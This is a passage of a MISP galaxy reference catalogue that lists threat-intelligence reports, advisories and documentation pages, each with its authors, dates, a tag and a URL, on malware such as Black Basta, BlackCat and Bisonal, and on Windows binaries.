The tag is: *misp-galaxy:references="Google Cloud Threat Intelligence ESXi VIBs 2022"*

Table 19592. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence

BlackBerry Bahamut

The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021.

The tag is: *misp-galaxy:references="BlackBerry Bahamut"*

Table 19593. Table References

Links
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf

BaltimoreSun RobbinHood May 2019

Duncan, I., Campbell, C. (2019, May 7). Baltimore city government computer network hit by ransomware attack. Retrieved July 29, 2019.

The tag is: *misp-galaxy:references="BaltimoreSun RobbinHood May 2019"*

Table 19594. Table References

Links
https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html

ESET Research Bandook July 7 2021

Fernando Tavella, Matías Porolli. (2021, July 7). Bandidos at large: A spying campaign in Latin America. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="ESET Research Bandook July 7 2021"*

Table 19595. Table References

Links
https://www.welivesecurity.com/2021/07/07/bandidos-at-large-spying-campaign-latin-america/

CheckPoint Bandook Nov 2020

Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021.

The tag is: *misp-galaxy:references="CheckPoint Bandook Nov 2020"*

Table 19596. Table References

Links
https://research.checkpoint.com/2020/bandook-signed-delivered/

Banker Google Chrome Extension Steals Creds

Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.

The tag is: *misp-galaxy:references="Banker Google Chrome Extension Steals Creds"*

Table 19597. Table References

Links
https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/

Unit42 Banking Trojans Hooking 2022

Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="Unit42 Banking Trojans Hooking 2022"*

Table 19598. Table References

Links
https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n

Linux manual bash invocation

ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.

The tag is: *misp-galaxy:references="Linux manual bash invocation"*

Table 19599. Table References

Links
https://wiki.archlinux.org/index.php/Bash#Invocation

DieNet Bash

die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.

The tag is: *misp-galaxy:references="DieNet Bash"*

Table 19600. Table References

Links
https://linux.die.net/man/1/bash

Bash.exe - LOLBAS Project

LOLBAS. (2018, May 25). Bash.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Bash.exe - LOLBAS Project"*

Table 19601. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Bash/

Bashfuscator Command Obfuscators

LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Bashfuscator Command Obfuscators"*

Table 19602. Table References

Links
https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html

Microsoft Basic TxF Concepts

Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Microsoft Basic TxF Concepts"*

Table 19603. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx

eSentire | BatLoader Continues to Abuse Google Search Ads to Deliver Vidar Stealer and Ursnif

eSentire. (2023, March 9). BatLoader Continues to Abuse Google Search Ads to Deliver Vidar Stealer and Ursnif. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="eSentire | BatLoader Continues to Abuse Google Search Ads to Deliver Vidar Stealer and Ursnif"*

Table 19604. Table References

Links
https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif

BATLOADER: The Evasive Downloader Malware

Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.

The tag is: *misp-galaxy:references="BATLOADER: The Evasive Downloader Malware"*

Table 19605. Table References

Links
https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html

AdvIntel Bazar Call August 10 2022

AdvIntel. (2022, August 10). “BazarCall” Advisory: Essential Guide to Attack Vector that Revolutionized Data Breaches. Retrieved June 28, 2024.

The tag is: *misp-galaxy:references="AdvIntel Bazar Call August 10 2022"*

Table 19606. Table References

Links
https://web.archive.org/web/20220810223007/https://www.advintel.io/post/bazarcall-advisory-the-essential-guide-to-call-back-phishing-attacks-that-revolutionized-the-data

Palo Alto Networks BBSRAT

Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.

The tag is: *misp-galaxy:references="Palo Alto Networks BBSRAT"*

Table 19607. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/

Microsoft bcdedit 2021

Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.

The tag is: *misp-galaxy:references="Microsoft bcdedit 2021"*

Table 19608. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit

MicrosoftLearn December 15 2021

MicrosoftLearn. (2021, December 15). BCDEdit Command-Line Options. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="MicrosoftLearn December 15 2021"*

Table 19609. Table References

Links
https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/bcdedit-command-line-options?view=windows-11

Securelist BlackEnergy Nov 2014

Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.

The tag is: *misp-galaxy:references="Securelist BlackEnergy Nov 2014"*

Table 19610. Table References

Links
https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/

Securelist BlackEnergy Feb 2015

Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.

The tag is: *misp-galaxy:references="Securelist BlackEnergy Feb 2015"*

Table 19611. Table References

Links
https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/

Crowdstrike DNC June 2016

Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="Crowdstrike DNC June 2016"*

Table 19612. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

Deep Instinct Black Basta August 2022

Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Deep Instinct Black Basta August 2022"*

Table 19613. Table References

Links
https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence

Bienstock, D. - Defending O365 - 2019

Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Bienstock, D. - Defending O365 - 2019"*

Table 19614. Table References

Links
https://www.slideshare.net/slideshow/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365/128744511

Kevin Mandia Statement to US Senate Committee on Intelligence

Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="Kevin Mandia Statement to US Senate Committee on Intelligence"*

Table 19615. Table References

Links
https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf

Microsoft Dofoil 2018

Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.

The tag is: *misp-galaxy:references="Microsoft Dofoil 2018"*

Table 19616. Table References

Links
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/

Obsidian SSPR Abuse 2023

Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="Obsidian SSPR Abuse 2023"*

Table 19617. Table References

Links
https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/

FireEye CARBANAK June 2017

Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.

The tag is: *misp-galaxy:references="FireEye CARBANAK June 2017"*

Table 19618. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html

Expel Behind the Scenes

1. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.

The tag is: *misp-galaxy:references="Expel Behind the Scenes"*

Table 19619. Table References

Links
https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/

Microsoft BEC Campaign

Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.

The tag is: *misp-galaxy:references="Microsoft BEC Campaign"*

Table 19620. Table References

Links
https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/

FBI i-Soon PSA March 5 2025

FBI IC3. (2025, March 5). Beijing Leveraging Freelance Hackers and Information Security Companies to Compromise Computer Networks Worldwide. Retrieved March 12, 2025.

The tag is: *misp-galaxy:references="FBI i-Soon PSA March 5 2025"*

Table 19621. Table References

Links
https://www.ic3.gov/PSA/2025/PSA250305

Unit42 BendyBear Feb 2021

Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021.

The tag is: *misp-galaxy:references="Unit42 BendyBear Feb 2021"*

Table 19622. Table References

Links
https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/

Google Cloud Storage Best Practices, 2019

Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Google Cloud Storage Best Practices, 2019"*

Table 19623. Table References

Links
https://cloud.google.com/storage/docs/best-practices

AWS Management Account Best Practices

AWS. (n.d.). Best practices for the management account. Retrieved October 16, 2024.

The tag is: *misp-galaxy:references="AWS Management Account Best Practices"*

Table 19624. Table References

Links
https://docs.aws.amazon.com/organizations/latest/userguide/orgs_best-practices_mgmt-acct.html

site notifications - krebsonsecurity

Frank Angiolelli, Indelible LLC, Malwarebytes, McAfee, Norton, Pieter Arntz, PushWelcome. (2020, November 17). Be Very Sparing in Allowing Site Notifications. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="site notifications - krebsonsecurity"*

Table 19625. Table References

Links
https://krebsonsecurity.com/2020/11/be-very-sparing-in-allowing-site-notifications/

blog.avast.com January 16 2023

Emma McGowan. (2023, January 16). Beware of DDosia, a botnet created to facilitate DDoS attacks. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="blog.avast.com January 16 2023"*

Table 19626. Table References

Links
https://blog.avast.com/ddosia-project

vNinja Rogue VMs 2024

Christian Mohn. (2024, November 11). Beware Of The Rogue VMs!. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="vNinja Rogue VMs 2024"*

Table 19627. Table References

Links

https://vninja.net/2024/11/11/beware-of-the-rogue-vms/

Shadowbunny VM Defense Evasion

Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Shadowbunny VM Defense Evasion"*

Table 19628. Table References

Links
https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/

Akamai Corona Zero-Day August 28 2024

Kyle Lefton, Larry Cashdollar, Aline Eliovich. (2024, August 28). Beware the Unpatchable: Corona Mirai Botnet Spreads via Zero-Day. Retrieved September 5, 2024.

The tag is: *misp-galaxy:references="Akamai Corona Zero-Day August 28 2024"*

Table 19629. Table References

Links
https://www.akamai.com/blog/security-research/2024-corona-mirai-botnet-infects-zero-day-sirt

T1105: Trellix_search-ms

Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the "search-ms" URI Protocol Handler. Retrieved March 15, 2024.

The tag is: *misp-galaxy:references="T1105: Trellix_search-ms"*

Table 19630. Table References

Links
https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/

Hexacorn Office Test

Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="Hexacorn Office Test"*

Table 19631. Table References

Links
http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/

Hexacorn Logon Scripts

Hexacorn. (2014, November 14). Beyond good ol' Run key, Part 18. Retrieved November 15, 2019.

The tag is: *misp-galaxy:references="Hexacorn Logon Scripts"*

Table 19632. Table References

Links
http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/

Hexacorn DLL Hijacking

Hexacorn. (2013, December 8). Beyond good ol' Run key, Part 5. Retrieved August 14, 2024.

The tag is: *misp-galaxy:references="Hexacorn DLL Hijacking"*

Table 19633. Table References

Links
https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/

Hexacorn Office Template Macros

Hexacorn. (2017, April 17). Beyond good ol' Run key, Part 62. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="Hexacorn Office Template Macros"*

Table 19634. Table References

Links
http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/

elastic.co August 15 2024

Elastic Security Labs. (2024, August 15). Beyond the wail deconstructing the BANSHEE infostealer — Elastic Security Labs. Retrieved August 25, 2024.

The tag is: *misp-galaxy:references="elastic.co August 15 2024"*

Table 19635. Table References

Links
https://www.elastic.co/security-labs/beyond-the-wail

BeyondTrust Announcement December 8 2024

BeyondTrust. (2024, December 8). BeyondTrust Remote Support SaaS Service Security Investigation.

Retrieved January 6, 2025.

The tag is: *misp-galaxy:references="BeyondTrust Announcement December 8 2024"*

Table 19636. Table References

Links
https://www.beyondtrust.com/remote-support-saas-service-security-investigation

BleepingComputer BeyondTrust December 19 2024

Bill Toulas. (2024, December 19). BeyondTrust says hackers breached Remote Support SaaS instances. Retrieved January 6, 2025.

The tag is: *misp-galaxy:references="BleepingComputer BeyondTrust December 19 2024"*

Table 19637. Table References

Links
https://www.bleepingcomputer.com/news/security/beyondtrust-says-hackers-breached-remote-support-saas-instances/

Bginfo.exe - LOLBAS Project

LOLBAS. (2018, May 25). Bginfo.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Bginfo.exe - LOLBAS Project"*

Table 19638. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/

Cyble August 18 2022

Cybleinc. (2022, August 18). BianLian: New Ransomware variant on the rise. Retrieved May 18, 2023.

The tag is: *misp-galaxy:references="Cyble August 18 2022"*

Table 19639. Table References

Links
https://blog.cyble.com/2022/08/18/bianlian-new-ransomware-variant-on-the-rise/

BianLian Ransomware Gang Gives It a Go! | [redacted]

Ben Armstrong, Lauren Pearce, Brad Pittack, Danny Quist. (2022, September 1). BianLian

Ransomware Gang Gives It a Go!. Retrieved May 18, 2023.

The tag is: *misp-galaxy:references="BianLian Ransomware Gang Gives It a Go! | [redacted]"*

Table 19640. Table References

Links
https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/

Group IB APT 41 June 2021

Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.

The tag is: *misp-galaxy:references="Group IB APT 41 June 2021"*

Table 19641. Table References

Links
https://www.group-ib.com/blog/colunmtk-apt41/

Crowdstrike Indrik November 2018

Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="Crowdstrike Indrik November 2018"*

Table 19642. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

CrowdStrike Ryuk January 2019

Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.

The tag is: *misp-galaxy:references="CrowdStrike Ryuk January 2019"*

Table 19643. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/

Symantec Bilbug 2022

Symntec Threat Hunter Team. (2022, November 12). Billbug: State-sponsored Actor Targets Cert Authority, Government Agencies in Multiple Asian Countries. Retrieved March 15, 2025.

The tag is: *misp-galaxy:references="Symantec Bilbug 2022"*

Table 19644. Table References

Links
https://www.security.com/threat-intelligence/espionage-asia-governments-cert-authority

Elastic Binary Executed from Shared Memory Directory

Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Elastic Binary Executed from Shared Memory Directory"*

Table 19645. Table References

Links
https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html

OWASP Binary Planting

OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.

The tag is: *misp-galaxy:references="OWASP Binary Planting"*

Table 19646. Table References

Links
https://www.owasp.org/index.php/Binary_planting

dll pre load owasp

OWASP. (n.d.). Binary Planting. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="dll pre load owasp"*

Table 19647. Table References

Links
https://owasp.org/www-community/attacks/Binary_planting

Wikipedia Binary-to-text Encoding

Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="Wikipedia Binary-to-text Encoding"*

Table 19648. Table References

Links
https://en.wikipedia.org/wiki/Binary-to-text_encoding

Sucuri BIND9 August 2015

Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019.

The tag is: *misp-galaxy:references="Sucuri BIND9 August 2015"*

Table 19649. Table References

Links
https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html

Wikipedia BIOS

Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.

The tag is: *misp-galaxy:references="Wikipedia BIOS"*

Table 19650. Table References

Links
https://en.wikipedia.org/wiki/BIOS

Ge 2011

Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.

The tag is: *misp-galaxy:references="Ge 2011"*

Table 19651. Table References

Links
http://www.symantec.com/connect/blogs/bios-threat-showing-again

Broadcom BirdyClient Microsoft Graph API 2024

Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="Broadcom BirdyClient Microsoft Graph API 2024"*

Table 19652. Table References

Links
https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication

Talos Bisonal Mar 2020

Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.

The tag is: *misp-galaxy:references="Talos Bisonal Mar 2020"*

Table 19653. Table References

Links
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html

Talos Bisonal 10 Years March 2020

Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021.

The tag is: *misp-galaxy:references="Talos Bisonal 10 Years March 2020"*

Table 19654. Table References

Links
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html

Unit 42 Bisonal July 2018

Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.

The tag is: *misp-galaxy:references="Unit 42 Bisonal July 2018"*

Table 19655. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/

Bitsadmin.exe - LOLBAS Project

LOLBAS. (2018, May 25). Bitsadmin.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Bitsadmin.exe - LOLBAS Project"*

Table 19656. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/

Microsoft BITSAdmin

Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.

The tag is: *misp-galaxy:references="Microsoft BITSAdmin"*

Table 19657. Table References

Links
https://msdn.microsoft.com/library/aa362813.aspx

Cisco Talos Bitter Bangladesh May 2022

Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.

The tag is: *misp-galaxy:references="Cisco Talos Bitter Bangladesh May 2022"*

Table 19658. Table References

Links
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html

Forcepoint BITTER Pakistan Oct 2016

Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022.

The tag is: *misp-galaxy:references="Forcepoint BITTER Pakistan Oct 2016"*

Table 19659. Table References

Links
https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan

Camba RARSTONE

Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.

The tag is: *misp-galaxy:references="Camba RARSTONE"*

Table 19660. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/

TrendMicro BKDR_URSNIF.SM

Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.

The tag is: *misp-galaxy:references="TrendMicro BKDR_URSNIF.SM"*

Table 19661. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279

Cyble September 28 2022

Cybleinc. (2023, September 28). Bl00dy – New Ransomware Strain Active in the Wild. Retrieved August 3, 2023.

The tag is: *misp-galaxy:references="Cyble September 28 2022"*

Table 19662. Table References

Links
https://cyble.com/blog/bl00dy-new-ransomware-strain-active-in-the-wild/

Trend Micro Pikabot January 9 2024

Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot, Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira's Pikabot Spam Campaign. Retrieved January 11, 2024.

The tag is: *misp-galaxy:references="Trend Micro Pikabot January 9 2024"*

Table 19663. Table References

Links
https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html

TrendMicro Pikabot 2024

Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira's Pikabot

Spam Campaign. Retrieved July 17, 2024.

The tag is: *misp-galaxy:references="TrendMicro Pikabot 2024"*

Table 19664. Table References

Links
https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html

Check Point Black Basta October 2022

Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Check Point Black Basta October 2022"*

Table 19665. Table References

Links
https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/

BlackBasta

Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7 Threat Actor. Retrieved March 14, 2023.

The tag is: *misp-galaxy:references="BlackBasta"*

Table 19666. Table References

Links
https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/

Rapid7 BlackBasta 2024

McGraw, T. (2024, December 4). Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware. Retrieved December 9, 2024.

The tag is: *misp-galaxy:references="Rapid7 BlackBasta 2024"*

Table 19667. Table References

Links
https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/

Trend Micro Black Basta October 2022

Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.

The tag is: *misp-galaxy:references="Trend Micro Black Basta October 2022"*

Table 19668. Table References

Links
https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html

Uptycs Black Basta ESXi June 2022

Sharma, S. and Hegde, N. (2022, June 7). Black basta Ransomware Goes Cross-Platform, Now Targets ESXi Systems. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Uptycs Black Basta ESXi June 2022"*

Table 19669. Table References

Links
https://www.uptycs.com/blog/black-basta-ransomware-goes-cross-platform-now-targets-esxi-systems

Elliptic Black Basta November 29 2023

Elliptic Research. (2023, November 29). Black Basta ransomware victims have paid over $100 million. Retrieved May 14, 2024.

The tag is: *misp-galaxy:references="Elliptic Black Basta November 29 2023"*

Table 19670. Table References

Links
https://www.elliptic.co/blog/black-basta-ransomware-victims-have-paid-over-100-million

BlackBerry Black Basta May 2022

Ballmer, D. (2022, May 6). Black Basta: Rebrand of Conti or Something New?. Retrieved March 7, 2023.

The tag is: *misp-galaxy:references="BlackBerry Black Basta May 2022"*

Table 19671. Table References

Links

https://blogs.blackberry.com/en/2022/05/black-basta-rebrand-of-conti-or-something-new

Cisco BlackByte 2024

James Nutland, Craig Jackson, Terryn Valikodath, & Brennan Evans. (2024, August 28). BlackByte blends tried-and-true tradecraft with newly disclosed vulnerabilities to support ongoing attacks. Retrieved December 16, 2024.

The tag is: *misp-galaxy:references="Cisco BlackByte 2024"*

Table 19672. Table References

Links
https://blog.talosintelligence.com/blackbyte-blends-tried-and-true-tradecraft-with-newly-disclosed-vulnerabilities-to-support-ongoing-attacks/

WMI 6

Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="WMI 6"*

Table 19673. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

FBI BlackCat April 19 2022

FBI. (2022, April 19). BlackCat/ALPHV Ransomware Indicators of Compromise. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="FBI BlackCat April 19 2022"*

Table 19674. Table References

Links
https://www.ic3.gov/Media/News/2022/220420.pdf

X-Force BlackCat May 30 2023

IBM Security X-Force Team. (2023, May 30). BlackCat (ALPHV) ransomware levels up for stealth, speed and exfiltration. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="X-Force BlackCat May 30 2023"*

Table 19675. Table References

Links
https://securityintelligence.com/posts/blackcat-ransomware-levels-up-stealth-speed-exfiltration/

BlackBerry BlackCat Threat Overview

BlackBerry. (n.d.). BlackCat Malware (AKA ALPHV). Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="BlackBerry BlackCat Threat Overview"*

Table 19676. Table References

Links
https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/blackcat

Cybereason

Cybereason Nocturnus. (n.d.). Cybereason vs. BlackCat Ransomware. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Cybereason"*

Table 19677. Table References

Links
https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware

Huntress BlackCat

Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.

The tag is: *misp-galaxy:references="Huntress BlackCat"*

Table 19678. Table References

Links
https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps

Sophos BlackCat Jul 2022

Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.

The tag is: *misp-galaxy:references="Sophos BlackCat Jul 2022"*

Table 19679. Table References

Links
https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/

ESEST Black Energy Jan 2016

Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.

The tag is: *misp-galaxy:references="ESEST Black Energy Jan 2016"*

Table 19680. Table References

Links
http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/

ESET BlackEnergy Jan 2016

Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020.

The tag is: *misp-galaxy:references="ESET BlackEnergy Jan 2016"*

Table 19681. Table References

Links
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/

F-Secure BlackEnergy 2014

F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.

The tag is: *misp-galaxy:references="F-Secure BlackEnergy 2014"*

Table 19682. Table References

Links
https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf

Resecurity BlackLock March 25 2025

Resecurity. (2025, March 25). Blacklock Ransomware: A Late Holiday Gift with Intrusion into the Threat Actor’s Infrastructure. Retrieved June 13, 2025.

The tag is: *misp-galaxy:references="Resecurity BlackLock March 25 2025"*

Table 19683. Table References

Links

https://www.resecurity.com/blog/article/blacklock-ransomware-a-late-holiday-gift-with-intrusion-into-the-threat-actors-infrastructure

